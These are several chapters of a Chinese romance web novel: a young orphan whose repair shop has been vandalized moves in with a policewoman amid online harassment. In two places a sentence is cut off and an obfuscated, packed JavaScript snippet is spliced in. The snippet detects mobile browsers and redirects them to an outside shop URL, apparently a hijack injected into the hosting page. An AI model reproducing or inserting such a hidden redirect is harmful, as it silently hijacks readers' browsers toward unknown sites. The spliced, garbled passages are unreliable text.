空气里充斥着各种机油味和腥味,她低头看了一眼他的手,指节上有擦伤,血已经干了,结了一层薄薄的痂。 “你受伤了。”她哽咽着说出了第一句话。 他抬起眼看了她一眼,那一眼看得很慢,像从很深的水底浮上来,带着一种岑星禾从没见过的神色。 他的眼神是空的,像一间被人搬空了家具的房子,门开着,风灌进来呜呜地响,“警察来过了,拍了照,说会查。” 岑星禾看着他,喉头一阵一阵地发紧,她想说你先跟我回去,想说这里不安全,想说我会帮你收拾,这些话到了嘴边,全都碎成了渣。 李烈低下头,又看了一眼地上的碎玻璃,“我又没家了。” 他的声音一根针落在地上,轻得几乎听不见,却实实在在地砸在岑星禾的胸口上,比子弹擦过手臂还疼。 她的眼泪一下子就涌了上来,她咬住了嘴唇拼命忍住,却实在控制不了,她看到李烈的眼眶也红了,他没有掉眼泪。 十九岁的少年站在一片狼藉中间,周围是他攒下来的全部家当,他的薄唇抿住,喉结上下滚动了两回,硬生生把那点湿意咽了回去。 岑星禾伸出手,想碰他的手臂,指尖刚碰到他小臂的皮肤,凉凉的,他的肌肉绷了一下。 她的手停在那里,没有收回来,也没有握上去。 两个人在满地碎玻璃和机油中间站着,谁都没有说话,窗外的蝉还在叫,将修车铺衬得异常安静。 这世界上怎么会有人这么恶劣,硬生生要去加重一个人摇摇欲坠的人生,难道看别人过得辛苦会让他们幸福吗?他们分明说过,一个孤儿能得冠军不容易。 人性真是难以琢磨的东西,人们仰望他的天赋,又恨不得将他坠下泥潭,企图以这种方式看他垂死挣扎,如果他赢了,这群人会站出来说真是一个坚韧不拔的人啊,如果他输了,他们又会说早晚知道他有这一天。 这命运多舛的一生,逆风翻盘的机会本就不多,自始至终,他们未曾乞求过分毫旁人怜悯,世俗的偏见却从来不肯放过他们。 不知道过了多久,她开口了,声音哑得不像自己,“李烈。” 她想说你还有我,你不要难过,这句话太大了,大到她怕自己接不住,也怕他接不住,最终还是没能说出口。 她把手收回去,弯腰开始捡地上的东西,先把那个被踩烂的枕头拎起来,抖了抖,尘灰飘在空中,她把枕头扔在一边,又去捡被子,叠好的深灰色床单已经脏了,她抖了抖上面的泥,叠了两折,放在行军床的床板上。 李烈站在原地,视线没有离开过她的手,那只手捡起扳手螺丝刀放回工具箱,捡起那把摔坏的机油瓶,扔进垃圾桶。 “你先去我家住几天。”她很自然地说,“钥匙还在你身上吗?” 他从裤兜里摸出了那把钥匙,挂在机车的钥匙扣上,他看了它一眼,又揣回兜里。 “走吧。”岑星禾直起腰。 李烈抬起头,目光扫过这间修车铺,接着收回来,落在她脸上,摇了摇头。 岑星禾转身往外走,她听到身后传来他的脚步声,踩在碎玻璃上,一声声细碎,仿佛她心碎,她没有回头,她怕自己一回头,眼泪就真的止不住了。 “修车铺收拾一下,将就能住。”李烈喊住她。 岑星禾没理他,她侧身退了两步,另一只手拉住了他的手腕,她的手指圈不住他,只能搭在上面,“这里不安全了。” 李烈低头看了一眼她握在自己手腕上的手,顺着她的力道走了出去。 * 晚上八点多,他们在外面吃完饭,回到了岑星禾的住处。 岑星禾的出租屋不大,一室一厅,住进来一个高马大的男人显得空间有些狭小了。 “你先坐,”岑星禾把背包放在沙发上,“我去洗个澡。” 李烈没坐,他走到阳台上,推开窗户,夜风灌进来,带着楼下夜市的油烟味和糖炒栗子的香,他双手撑在栏杆上,低头看着下面那些亮着灯的小摊。 头顶暖黄色的阳台灯照着他,把他的白T恤染成淡金色,深蓝色的夜幕在他眼前铺开,夜市的热闹在脚下翻涌,极致的蓝混合着暖调,构成了一副美好和谐的画面。 岑星禾拿了换洗衣服走进浴室,关上门。 水龙头拧开,热水冲下来,砸在瓷砖上,哗哗的,水蒸气很快弥漫开来,模糊了镜子里她的脸。 她站在花洒下面,热水从头浇到脚,把修车铺里的机油味和腥味全部冲掉,脑子的画面缺一直冲不掉。 想到李烈站在屋子中间说我又没家了,眼底那种空荡荡的神色让她异常揪心,眼泪一下子就涌了出来,和热水混在一起,分不清哪些是水,哪些是泪。 她把脸埋进手心里,肩膀一抖一抖的,咬住嘴唇不出声,水声很大,盖住了一切,她哭了好一会儿,哭到热水器的水开始变温,才慢慢停下来。 她不知道李烈站在浴室门口。 他从阳台走过来,脚步很轻,轻到连他自己都没意识到在踮着脚,他站在门外,离那扇磨砂玻璃门只有一步的距离,水声哗哗的,水蒸气从门缝里溢出来。 里面传来她压抑的抽泣,很短促的一声,像被什么东西噎住了,又咽了回去,隔了几秒,又是一声,闷闷的,像有人把拳头塞进嘴里。 他的手指攥成了拳头,指甲掐进掌心里,他像一棵被钉在原地的树,一动不动的。 水声停了。 岑星禾关掉花洒,用浴巾把自己裹好,对着镜子看了看,眼睛红红的,鼻尖也红,一看就是哭过的样子,她深吸一口气,想把那些痕迹压下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548344|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拉开门走出来。 头发还在滴水,浴巾裹到锁骨,露出一小截肩膀,她低着头,不敢看客厅的方向,快步往卧室走,余光扫到阳台上有一个高大的影子。 李烈站在阳台上,背对着她,手插在裤兜里,肩膀很宽,把阳台的窗户占了大半,夜风吹着他的头发,碎发微微晃动。 岑星禾钻进了卧室,关上门。 她打开吹风机,热风对着头发吹,嗡嗡的声音充满了整个房间,她吹了很久,久到头发早就干了,直到镜子里那个女人的眼睛终于不那么红了。 她关掉吹风机。 浴室好像有水声传来,岑星禾这才注意到,他已经不在阳台上了,她吹头发的这段时间,他去了浴室。 她坐在床边,等着,听着,水声停了,浴室门开了,拖鞋踩在地板上的声音,由远及近,又由近及远。她听到沙发发出吱呀一声,他坐下了。 她又等了十几分钟。 眼睛应该看不出来了,她对着手机前置摄像头照了照,眼尾还有一点淡淡的粉,她把头发扎起来,拉开门走出去。 客厅的灯还亮着,空调开到了20度,冷气从出风口灌出来,冻得人胳膊上起鸡皮疙瘩。 李烈躺在沙发上,一条腿搭在扶手上,另一条腿伸开,脚踝露在外面,他换了一身衣服,不知道什么时候从背包里翻出来的,黑色T恤深灰色短裤,头发还没干透,碎发贴在额头上。 他听到动静睁开眼,撑着胳膊坐了起来。 “需不需要拿床被子给你?”岑星禾站在卧室门口,手里攥着门把手。 “这么热的天哪里需要被子。”他揉了下眼睛。 岑星禾看了一眼墙上的温度计,20度,“空调开这么低,睡着了容易感冒。” 李烈低头扯了一下旁边沙发上的薄毯,“这个就够了。” “要是冷就去我房间拿被子,”她说,“柜子里有厚的。” 李烈抬起眼看着她,视线落在她脸上,从眉毛到眼睛,再到红润的嘴唇,灯光把他的瞳孔照得很亮,里面映着她的脸。 “知道了。”他低低应了声。 岑星禾松开门把手,往玄关的方向走了两步,准备关灯,走了几步又停下来,“灯关不关?” “关。” 她的手按在开关上,啪嗒一声,客厅的光缩成一条线,从她指缝间溜走,整个屋子黑了。 窗帘没拉严实,夜市的光从缝隙里漏进来,在天花板上画了一道长长的亮痕,楼下的喧闹声变得远了。 这里晚间的确有点吵,不过租金划算,环境尚可,距离单位也近,吵一点的缺点几乎可以忽略。 她转过身,准备摸黑走回卧室。 一只手忽而从身后伸过来,握住了她还未收回的手,他的手掌很大,带着没干透的潮气和沐浴露的味道,还有一点点烫,他的指尖有一层薄薄的茧,卡在她指缝间,掌心贴着她的手背。 岑星禾整个人僵在了原地。 他的胸膛贴着她的后背,隔着两层薄薄的棉布,她感受到了他心跳的频率,她自己的心跳也快,快到她分不清是谁在震。 他低下头,嘴唇贴着她的耳廓,声音很低很轻,“以后不许再一个人偷偷哭了。” 夜风从阳台纱窗的缝隙里溜进来,吹在她裸露的手臂上,起了一层鸡皮疙瘩,她的后背贴着他的胸膛,那一片是热的,冷和热在她身上打架,她整个人像被劈成了两半。 “只要我还在你身边,就不要再哭了。” 他暗哑地嗓音几乎将人碾碎。 岑星禾的鼻子一酸,眼眶又热了,她点了点头,动作很小。她的头发蹭到了他的下巴,他应该感觉到了。 “爱哭鬼。” 他的声音里带着一点笑意,又是那种坏笑,好像在嘲笑她脆弱。 夜市的声音从楼下传上来,小孩在笑,有人在喊老板来十块钱的烤串,远处有人在唱歌,吉他声断断续续,所有的声音都闷闷的,像隔了一层水。 她感觉他们在很深很深的海底,四周全是水压,只有他掌心的温度是真实的,他慢慢松开了她的手,指腹从她手背上划过。 他不动声色地退了一步,两个人的身体之间重新有了空气。 “晚安。”他恢复了平时的样子,带着一点懒散。 岑星禾没有应,她摸着黑逃回卧室,一下子关上门。 门板合上的那一下,她的腿一下子软了,靠着门板慢慢滑下去,蹲在地上捂住了脸,手心还是烫的,残留着他的体温。 她蹲在黑暗里,手指居然在颤抖,她又贴门听了听,客厅那边没有再传来任何声音。 窗外的夜市还在吵,人群熙熙攘攘,空调外机嗡嗡地转,所有的声音都搅在一起,变成了一片白噪音,她听到自己的心跳声在这片白噪音里震耳欲聋。 16. Chapter16·擦药膏 这一夜岑星禾睡得很不好,梦里全是李烈落寞的脸,第二日醒来,眼底覆着淡淡的青黑,面色苍白失了血色,一照镜子,被自己的脸色吓一跳。 她的胳膊拆线后,还是留了疤,那道疤在左上臂外侧,细细的,在皮肤上像一条小小的蜈蚣,安安静静地趴着。 不仔细看确实不明显,平时总忍不住对着镜子多看两眼。 李烈从卫生间出来,正好撞见她在镜子前歪着头看自己胳膊,她皱着眉,右手的手指摸了摸那道疤,轻轻按了一下,像在确认它还在不在。 李烈站在她身后三步远的地方,犹如幽魂,岑星禾从镜子里看到他视线黏在她身上,眼底漫开淡淡的晦涩,她的手立刻放下来,表情恢复正常。 “你看什么?”她问。 “没什么。”李烈移开视线,走到沙发上坐下,拿起遥控器乱按了几下,停在了动物世界,电视里传来悠扬的音乐,一群非洲象正在落日下缓慢穿行草原。 岑星禾悄无声息敛了下唇,端着水杯回了卧室。 隔日,太阳从窗帘缝里挤进来,在木地板上画了一条长长的金色线,岑星禾起得早,穿着吊带睡衣站在卧室的穿衣镜前,头发披散着,左臂抬起来,歪着头看那道疤。 晨光把她的皮肤照得很白,那道疤在光线下更明显了一点,肉粉色的,微微凸起,像一小段没有对整齐的拉链。 她用手指沿着疤痕的纹路摸了一遍,指腹能感觉到那种不同于周围皮肤的触感,涩涩的,硬硬的。 门没关严。 李烈端着一碗粥从厨房出来,路过卧室门口的时候,余光扫到了她,他停下来,碗搁在餐桌上,发出一声轻响。 他走到卧室门口,高大的身影倚靠在门框上,漫不经心地看着她,岑星禾抬眸子,从镜子里和他对视了一秒。 “祛疤膏呢?”李烈的嗓音带着早上刚睡醒的沙哑。 她以为他只是想帮她拿过来,“在沙发柜里。” 李烈转身走到客厅,拉开抽屉,把那支蓝色的小管子拿了出来,他拧开盖子,挤了一点在指尖,透明的凝胶,凉丝丝的,没有味道。 “过来。”他冲站在卧室门口的岑星禾说。 岑星禾站在卧室里等了几秒,思想来回摇摆了两下,还是走出去,又慢吞吞地坐到沙发上,背对着他。 李烈一直盯着她看,直到她坐下,他才垂眼去看她的伤疤,他抬起手,抹着药膏的指尖碰到她的上臂,她冷不丁颤了一下。 他指腹上那层薄茧擦过她疤痕周围完好的皮肤,有点粗粝,像砂纸轻轻划过。 凝胶在体温的温热下慢慢化开,变得滑腻,他的手指沿着疤痕的方向缓缓推过去,从这一端到那一端,力道不重,却好像按在了她的心脏上。 岑星禾屏住了呼吸。 他的手指很长,从她上臂的外侧绕过去,虎口恰好卡在她手臂最细的地方,她的整条胳膊几乎被他一只手圈住了。 怎么会这么温柔,这么引人沦陷。 她努力让精神集中一点,可他的手指在她皮肤上移动的时候,她浑身上下的汗毛都竖了起来,甚至起了鸡皮疙瘩。 李烈睫毛垂着,视线固定在那一小段疤痕上,他把凝胶涂匀了,又挤了一点,再涂一遍,动作慢得像在给什么珍贵的东西上釉,每一寸都不肯放过。 房间里很安静,窗帘没有完全拉开,光线柔柔地铺在地上,茶几上放着她昨晚喝了一半的水杯,杯壁上印着一圈淡淡的口红印。 窗外的蝉还没开始叫,这个时间的早晨有一种难得的宁静,像全世界都在睡懒觉,只有他们两个人醒着。 好了吗? 她想问,却没有发出声音。 她怕自己的声音在这个安静得过分的房间里显得太突兀,怕惊动他放在她手臂上的手指,也怕惊动自己胸腔里那颗快要跳出来的心。 李烈把最后一寸疤痕涂完,手指在她手臂上停了一下,手指和皮肤之间产生了一种微弱的引力,想分分不开。 “好了。”李烈的声音沙沙的。 他收回手,把那支祛疤膏的盖子拧上。 两个人都没动。 她坐在沙发中间,正对着电视,他坐在她左侧的位置,之间隔了不到一臂的距离,晨光从窗帘缝里漏进来,落在两个人之间的地板上,像一条窄窄的河。 她的心跳太快了,快到她担心他听见。 李烈转过身把那支祛疤膏放回抽屉里,顺道把粥从厨房端出来,一碗放在她常坐的位置,一碗放在对面,筷子摆好了,小菜也端出来了,一碟榨菜,一碟腐乳。 岑星禾换了衣服出来,在餐桌前坐下,粥是小米南瓜粥,熬得很稠,南瓜切成小块,已经煮化了,金黄色的,甜丝丝的,她喝了一口,舌尖被烫了一下,缩回去又伸出来吹了吹,“你几点起来的?” 李烈已经坐在对面开始吃了,嘴里嚼着榨菜,含混地说:“六点多。” “六点多你起来干嘛?” “睡不着。” 李烈几乎每天都比她起得早,等她洗漱完出来,早饭已经摆在桌上了,有时候是粥,有时候是面条,有时候是速冻包子,蒸得白白胖胖的,摆得整整齐齐。 碗筷永远是她常坐的那个位置,筷子头朝左,勺子搁在碗沿上。 去上班时,李烈在阳台上看书,她没打招呼怕惊扰他。 等门口传来轻轻的关门声,李烈才回头看了一眼。 晚上她下班回来,李烈通常已经在家里了,他有时候会去修车铺,把还能用的工具捡回来,擦干净收在阳台的角落里。 更多的时候他会待在家里,把客厅收拾干净,把地拖了,把茶几上她随手放的杂志码整齐,她开门进来的时候,他不是在沙发上坐着,就是在阳台上站着背英语单词。 看到她回来,他会转过头看一眼,继续做自己的事,那个眼神熟络到这里好像已经成为两个人的家。 两个人挤在这样一个一室一厅里,有了一种同居的日常感,他没有说谢谢你收留我,她也没有说你住到什么时候,那些话都烂在肚子里,变成早上的一碗粥,晚上亮着的一盏灯。 吃过晚饭,两个人窝在沙发上看电影,李烈躺在沙发上,占了整张沙发的长度,腿伸开,长腿搭在扶手上。 岑星禾坐在地毯上,后背靠着沙发的边缘,正好在他肩膀下方。 电视里放的是什么电影她没有认真看,好像是老片子,黑白的,外国人在说英语,字幕跑得很快,她靠在沙发边上,空调吹出来的风凉飕飕的,盖在身上那条薄毯刚好。 李烈的手垂下来,搭在沙发边沿,离她的肩膀只有几厘米,他能闻到她头发上的味道,是那种超市里最普通的洗发水,橙子味的,甜甜的。 电影放到一半的时候,她的头开始一点一点地往下掉,眼皮越来越沉,屏幕上的画面变得模糊,声音越来越远,最后她的头歪了过去,靠在了他的膝盖上。 李烈的身体僵了一下,整个人像被点了穴一样,动都不敢动,他的膝盖上放着她的脑袋,头发散在他的腿上,软软的,痒痒的。 她呼吸慢慢变得均匀,胸口一起一伏的,睫毛偶尔颤一下,像蝴蝶扇动翅膀。 李烈静静地看着她的侧脸,她的皮肤在电视的光里一明一暗,嘴唇微微张着,露出一点点牙齿,呼吸声轻得像猫。 他手指悬在她的头发上方,离她的头发只有一厘米的距离,那一点空气薄得像纸,他没有捅破。 他滞了好几秒,才慢慢把手收回去,指节蜷起来,放在自己膝盖旁边,他不敢碰她,怕她醒了就不能这么睡下去了。 电影还在播放黑白的画面一明一暗,照着两个人的影子投在对面的墙上。 后来岑星禾醒来的时候,电影已经放完了,电视屏幕上是那种一动不动的主页界面,蓝光晃得人眼睛疼。 她发现自己躺在沙发上,头底下枕着一个靠垫,身上盖着那条薄毯,她的拖鞋被摆正了,鞋头朝外。 阳台上传来轻微的声响,岑星禾偏过头看了一眼,李烈正站在阳台上,背对着客厅,手插在裤兜里,耳朵上戴着耳机,正看着楼下的夜市,夜风吹着他的头发,碎发微微晃动着。 她翻了个身,把脸埋进靠垫里。 靠垫上有他身上的味道,有一点淡淡的草木灰气味,还有一点点阳光晒过的气息,她把脸埋在里面,闭着眼睛,嘴角慢慢地弯了起来。 * 网络舆论像一把烈火越烧越旺,从李承烧到李烈,又从李烈烧到了岑星禾。 有人扒出了她是岑海的女儿,当年负责泰景宁案的警察,因公殉职,帖子里用了一个耸人听闻的标题:《警察之女收留凶手儿子,是赎罪还是别有用心?》 评论区的戾气像被点燃的火药,一句比一句难听。 “警察的女儿包庇罪犯的儿子,一家人都不清白。” “难怪李烈能拿世界冠军,背后有人呗。” “这种人活着干什么?” “蛇鼠一窝。” ...... 岑星禾一条一条看完,把手机扣在桌上,互联网不放过任何人,它像一张没有边界的网,把所有有关联的人都兜进去,然后慢慢收紧。 单位也受到了压力。 老周把她叫进办公室的时候,她看到他的办公桌上放着几封打印出来的投诉信,开头写着致燕港区分局领导,落款是广大热心市民。 信的内容大同小异,质疑她利用职务之便包庇李烈,质疑她的职业操守,要求分局对她进行调查。 老周把信翻过来扣在桌上,不想让她看到内容。 “星禾,”他点了点手机,“你自己怎么看?” 岑星禾站在办公桌前,深呼吸道:“李烈父亲的案子是还没结束,泰显川在翻供,那些人什么都不知道就开始泼脏水。” “我知道。”老周打断她,“上面只看得到投诉信,只看得到舆论压力,我跟你说这些,不是要你怎么样,就是让你有个心理准备。” 岑星禾点了点头,没再说什么。 她不知道李烈是什么时候知道这些事的,他没有问过她,她也没有提。两个人像两只刺猬,各自背着自己的刺,在同一个屋檐下小心翼翼地走着,怕扎到对方。 直到那天晚上,岑星禾正在厨房洗碗,手机响了,是本市的陌生号码,她擦了擦手接起来。 “喂?” 电话那头先是一片嘈杂的背景音,像有人在远处说话,然后是一个女人尖锐的声音,带着一股咬牙切齿的恨意,“你就是岑海的女儿?” 岑星禾的手指收紧了手机,“你是谁?” “你包庇那个杀人犯的儿子,你爸也不是什么好东西!你们一家子都不得好死!你们就是杀人凶手!恶心!” 还有很多难以入耳的话在骂她,每一个字都像碎玻璃从听筒里砸过来。 岑星禾没有说话,也没有挂,她站在厨房里,水龙头没关紧,水滴一滴一滴地落在水池里,吧嗒吧嗒的,那个女人骂够了之后挂了电话。 她放下手机,关掉水龙头。 厨房里只有冰箱嗡嗡的声音,和窗外蝉鸣的余音,她转过身,全身一僵。 李烈站在厨房门口。 他穿着一件白T,头发没梳,额前的碎发垂下来,遮住了半边眼睛,不知道在那里站了多久,手里拿着一个空水杯,正静静看着她。 “推销电话。”岑星禾笑了一下。 李烈走进去,把水杯放在台面上,站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548345|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她面前,离她很近,厨房太小了,两个人站在里面,转身都费劲。 “你不会说谎。”他的语调淡而严肃,听不出喜怒,却让人莫名心头一紧,“你说谎的时候带笑,笑得很假。” 岑星禾收了收笑意,“我不想看到你难过。” 李烈嘴唇抿成一条线,“我唯一的错就是让你卷进来。” 厨房里的灯把他眼底那层薄薄的水光映得很清楚,岑星禾鼻子一下子就酸了。 “你听好了。”她每个字都咬得很清楚。“这不是你一个人的事,从一开始就不是。”她从很早之前就想说,“这是我们两个的事。” 厨房里水滴的声音没有了,冰箱的嗡嗡声好像也远了,两个人隔了不到半步的距离,她能感受到他温热的呼吸,一下一下地拂过她的额头。 窗外的蝉叫了一声又停了,整个夏天都在屏住呼吸,等谁先开口。 那一刻有什么东西在两个人之间悄悄变了,有一道看不见的玻璃,两个人同时把手伸过去,一起把它砸碎了。 * 过了几天,事情有了转机。 有人在网上发了一篇长文,标题是《关于泰景宁案不可不知的几个事实》,这篇文章被顶到热度前三,整整占了一晚上热搜。 文章大概两千多字,一条一条地列出李承遇害的时间地点和原因,以及李家煤气爆炸的时间,其中有李烈爷爷奶奶的死,还有母亲的重伤不治,每一个时间点都清清楚楚,每一个事实都砸在那些造谣者的脸上。 文章还隐去了一些关键证据和线索,那些太敏感的东西没写出来,光是写出来的那些已经够了。 文章的最后一段写着:李承到底清白与否,法律会给出答案,一个八岁的孩子在爆炸中失去爷爷奶奶和母亲,独自活到现在,拿了冠军,上了大学,他不欠任何人的道歉,该道歉的是那些往他身上泼脏水的人。 文章发出来的当天晚上,评论区的风向变了。 “原来他爸是被人害死的” “你们还这样骂他,良心不会痛吗” “我为我之前说过的话道歉” “李烈加油” 上城大学在了解到李烈的情况后,去了有关部门做了详细的背景调查,现有证据表明李承系因公牺牲,案子还在审理当中,校方以百分之百的立场支持李烈按期入学。 招生办的人打来电话的时候,岑星禾正好在家。 她听到李烈对着电话“嗯”了几声,沉默了一阵,最后说了一句“谢谢”,挂了电话之后,他坐在沙发上,看着茶几上那杯凉透了的水,好半天没动。 “怎么了?”岑星禾问。 他头一次有点为难道,“学校说要把我的照片放招生栏上。” 岑星禾诧异道,“什么照片?” “比赛获奖那张。” 就是他对镜头表示第一的照片。 岑星禾忽而笑了下,那张照片不是因为争光了才被放上去,是因为他值得。 九月初,暑假快结束了,天气还是很热,早晚的风里已经有了一丝凉意,秋天要来了。 岑星禾陪李烈回了修车铺。 那扇铁皮门还是歪的,上次被人踹坏之后就没修过,门口那个“胡式修车”的招牌还扔在地上,脚印还在,被雨水冲淡了一些,旁边的墙上有喷漆写的字,歪歪扭扭的,她已经不想再看那些字了。 里面李烈之前收拾过一次,还是很乱,货架倒着,工具散落一地,墙上的海报被撕了大半,剩下的半张耷拉着,风吹过来的时候会啪嗒啪嗒地响。 这里本来是李烈师傅的老地盘,现在师傅干不动了,他也要去上学了,修车铺算是彻底歇业了,他将这里最后一点重要的工具收拾好,水电断了,门也上了锁。 “走吧。”他说。 岑星禾跟在他后面。 走出巷子的时候,她回头看了一眼,那扇铁皮门在路灯下投下一道斜斜的影子,像一个人歪着头站在那里,看着他们走远。 回到出租屋,李烈把纸箱放在阳台上打开,把工具一样一样拿出来,摆在他自己搭的那个小架子上,扳手挂起来,螺丝刀插进筒里,套筒按大小排好。 夕阳从窗户照进来,把他整个人镀成暖橘色,他的影子映在对面的墙上,像一个沉默的巨人。 岑星禾心里还是堵得慌,像他自己说的,他现在连一个破烂不堪的家都没有了,她的鼻子一酸,又红了眼眶。 “想什么呢?” 李烈不知道什么时候转过身来了,靠在阳台门框上,手里拿着一个扳手,歪着头看着她。 岑星禾赶紧别过脸,“没什么。” 李烈放下扳手,走到她面前,低头看着她,目光从她红红的眼眶扫过去,嘴角慢慢弯了起来,“离开那里,不应该为我高兴吗?” 岑星禾抬起头,他的眼睛里映着窗外的晚霞,橘红色的,像两团小火苗。 他伸手用指背轻轻点了下她的鼻尖,“我们的傻姑娘,怎么又一副苦瓜兮兮的小样儿?” 岑星禾伸手打掉他的手,“你才苦瓜,你全家都苦瓜。” 话一出口她心底猛然一沉,咬住了自己的舌尖,李烈脸上的表情没有任何变化,他轻轻弹了一下她的额头,“走了,做饭去,今晚吃排骨,我买好了。” 他转身走向厨房,冰箱门开了又关,水龙头哗哗地响,菜刀碰到案板的声音,咚咚咚咚的。 岑星禾站在厨房门口,看着他的背影,他系着她的蓝粉色围裙,上面印着一只白色的猫,他正在剁排骨,动作利落,刀起刀落,骨头的碎屑溅到案板上。 夕阳从窗户照进来,落在他的肩膀上,暖意洋洋的,她看着他的背影想,修车铺没了就没了,他还可以重新攒一个家。 17. Chapter17·要离别^^…… 九月初,距离上城大学报到的日子更近了,日子一天天过,岑星禾比他更期待他入学的日子,她总是想李烈终于有着落了,她心头的一个结算是解开了。 不久后,岑星禾和同事出去吃饭,多喝几杯酒上了头,站起来说去洗手间,出门走了几步,不知道走到哪里了,走廊很长灯很亮,她靠着墙站了一会儿,翻到通讯录,她盯着李烈的名字看了几秒,拨了过去。 响了一声他就接了,“怎么了?” 岑星禾靠在墙上,天花板上的灯一晃一晃的,“你来接我。” “你在哪呀?” 她昏昏沉沉地,重复了好几次地址,总疑心自己没说对。 “你别动,我马上到。” 电话挂了,她靠着墙往下滑了一截,蹲在地上,走廊里有服务员经过,看了她一眼,问:“女士你还好吗?” 她摆摆手:“没事。” 服务员将信将疑地走了,不知道自己蹲了多久,可能是十分钟,也可能是二十分钟。 耳边传来脚步声,她抬起头,眼睛有点花,只见一个很熟悉的轮廓浮现眼前,他穿着一件黑色羽绒服,拉链没拉,露出里面灰色卫衣,走过来的时候带起一阵风,额前的碎发被吹起来又落下去。 李烈蹲下来视线和她平齐,一只手扶着她的肩,另一只手探了探她的额头,“喝了多少?” 她看着他,他的眉毛,眼睛,鼻梁和嘴唇,太过熟悉的脸,他的一切她看了无数遍,还是觉得有点不真实,他怎么会在这里?他不是在家吗? 他怎么长这么大了,长成一个男人了。 时间这么快啊。 她脑子里乱七八糟的,酒精把她的思绪搅成了一锅浆糊,双手不受控制的胡乱挥舞,眼前光怪陆离,分不清南北西东。 她扑进了他怀里,整个人往前一栽,额头撞在他的锁骨上,他往后晃了一下,收紧手臂扶住了她的腰。 “我的弟弟来了呀。”她醉了酒,音容带着潮湿的气息和酒精的苦涩。 他静静将她环住,平时痞气的脸上没有多余的表情,显得异常沉静。 她抬起头,鼻尖蹭到他下巴,像一只猫咪在撒娇,她的气息是温热的,缱绻的,软糯的......在说着一些无关紧要的话。 “我接不住你......” “我没办法做出决定......” “你能原谅我吗?” 他将这看做是她主动。 她难得主动一次,他欣喜若狂。 他用手抬起她的下巴,眼睛在她脸上巡视着什么,眸色越来越深,几乎要忍不住做些什么。 岑星禾撇开他的手指,将脸埋在他怀里,不肯让他看到,他把她的腰又收紧了一点,“没有恨过,何谈原谅?” 她天旋地转地瘫软在他怀中。 他掌心的温度贴着她的头皮,“能走吗?” 她摇了摇头。 他把她从地上拉起来,一只手提着她的包,另一只手揽着她的肩,把她整个人靠在自己身上,她的脚步虚浮,头重脚轻,走了两步就要往下滑。 他索性蹲下来,把她背了起来,她的下巴搁在他肩窝里,手臂垂在他胸前,随着他走路的节奏一晃一晃的。 他把她的包挂在自己脖子上,钥匙在包里叮叮当当地响。 后面的她记不太清了,只记得车里的暖风很足,她窝在他的怀中,迷迷糊糊地闭着眼睛,感觉到车子停了,他把她从车里抱出来,手里还拿着她的高跟鞋,鞋跟朝下,拎得很稳。 意识模糊,只是有他始终在她身边,掌心贴着她的后背很有安全感,因此整个人都是放松的,连记忆也是松散的。 第二日醒来,完全想不起昨晚的事,人生第一次喝断片了,后来再问他自己有没有做出格的事,李烈的表情很晦涩。 他大喇喇地坐在沙发上,唇角缓缓勾起一抹不怀好意的弧度,“你确定让我说吗?” 岑星禾大惊,以为自己失言到不可原谅的地步,李烈见她不知如何反应,立马生起想要捉弄她的心思,“全是少儿不宜,你要听吗?” 她回想不起来昨夜的事,真以为自己调戏了他,脑子浮现他撩起衣服下摆让她摸的浪荡神情,嗫嚅着不敢看他,内心产生了一种为老不尊的自惭感。 她快速了眨了眨眼睛,转身就往门外走,边走边打哈哈,“又在开玩笑。” 李烈迅速站起来,胆大妄为扯住她胳膊,挡住她去路,眼神暗昧紧盯她,“你一直说想要我。” “你在胡说什么?”她花容失色地喊。 肆意妄为的少年早已不再是她熟悉的那个小豆丁,在无人知晓的领域已经滋生了许多坏心思,无论如何都不愿放过她,“是你说的,你抱着我怎么都拉不开。” 岑星禾掐着手心,声音有些颤抖:“不可能,你骗人。” 李烈轻笑,微微弯腰:“装失忆是吧?” 见她步子都迈不开了,一脸惊疑不定,几乎要哭出来,李烈心里早就乐开花了,“要不要我帮你回忆一下,昨晚你都对我做了什么?” “啊?”岑星禾试图甩开他滚烫的手,奈何自己腿软到走不动。 他又贴近她一点,快要将她整个人拢进怀里,手臂支撑她一半的重量,呼吸扑在她耳窝,“你还哭了,说对不起我。” “然……然后呢?” “然后……你问我硬没硬?” 岑星禾一口鲜血差点喷出来,打死不相信自己能说出那么惊天地泣鬼神的话来,又难以相信酒后自己会保持淑女形象,她用尽全身力气拨开李烈,眼睛都不敢看他。 “厚脸皮!明明是你自己胡思乱想,还倒打一耙!”她快速冲到门口,哆嗦着拿了包就跑,身后传来少年恶劣地笑声。 上班时间,她整个人都是飘的。 坐在办公桌前,手里转着笔,同一份文件看了三遍,一个字都没看进去。老周路过她桌子,敲了敲桌面,“星禾?叫你好几声了。” 她抬起头,茫然地“啊”了一声。 老周皱着眉看了她一眼,“哪里不舒服?脸色不太好。”她含糊应了没事,把文件翻了一页,假装在认真看。 中午吃饭,同事跟她说话,她“嗯嗯”地应,根本没听进去,筷子夹着一块红烧肉,送到嘴边又放下了,吃不下。 “星禾,你是不是身体不舒服?”同事伸手探了探她的额头,“不烧啊。” “没事。”她把那块红烧肉塞进嘴里,嚼了两下,没尝出味道。 下午她主动申请加班,老周看了她一眼,“以后有的是你加班的时候。” 她埋着头,不肯走,“有个卷宗没整理完。” 窗外天黑了,路灯亮了,楼下偶尔有车经过,车灯扫过玻璃窗,在墙上划一道弧线,又消失了。 